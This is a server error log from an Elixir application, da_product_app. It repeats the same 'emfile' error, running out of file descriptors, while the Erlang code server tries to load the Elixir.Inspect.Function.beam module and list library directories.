[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.325000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.326000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.326000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.326000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.326000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.326000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.341000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.341000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.342000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.342000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.342000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.342000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.342000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.343000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.363000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.368000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.368000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.368000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.368000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.368000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.368000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.369000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.369000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.396000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.397000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.426000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.426000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.426000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.427000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.427000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.427000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.427000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.428000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.437000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.438000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.448000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.448000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.448000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.448000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.448000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.448000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.449000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.449000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.449000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.449000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.450000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.452000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.466000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.466000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.466000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.467000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.474000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.476000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.477000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.479000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.479000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.479000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.479000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.482000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.482000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.482000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.482000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.483000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.483000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.483000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.484000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.484000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.485000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.485000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.486000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.486000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.486000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.486000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.488000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.488000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.488000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.488000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.489000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:44.489000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.489000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.490000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:44.491000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
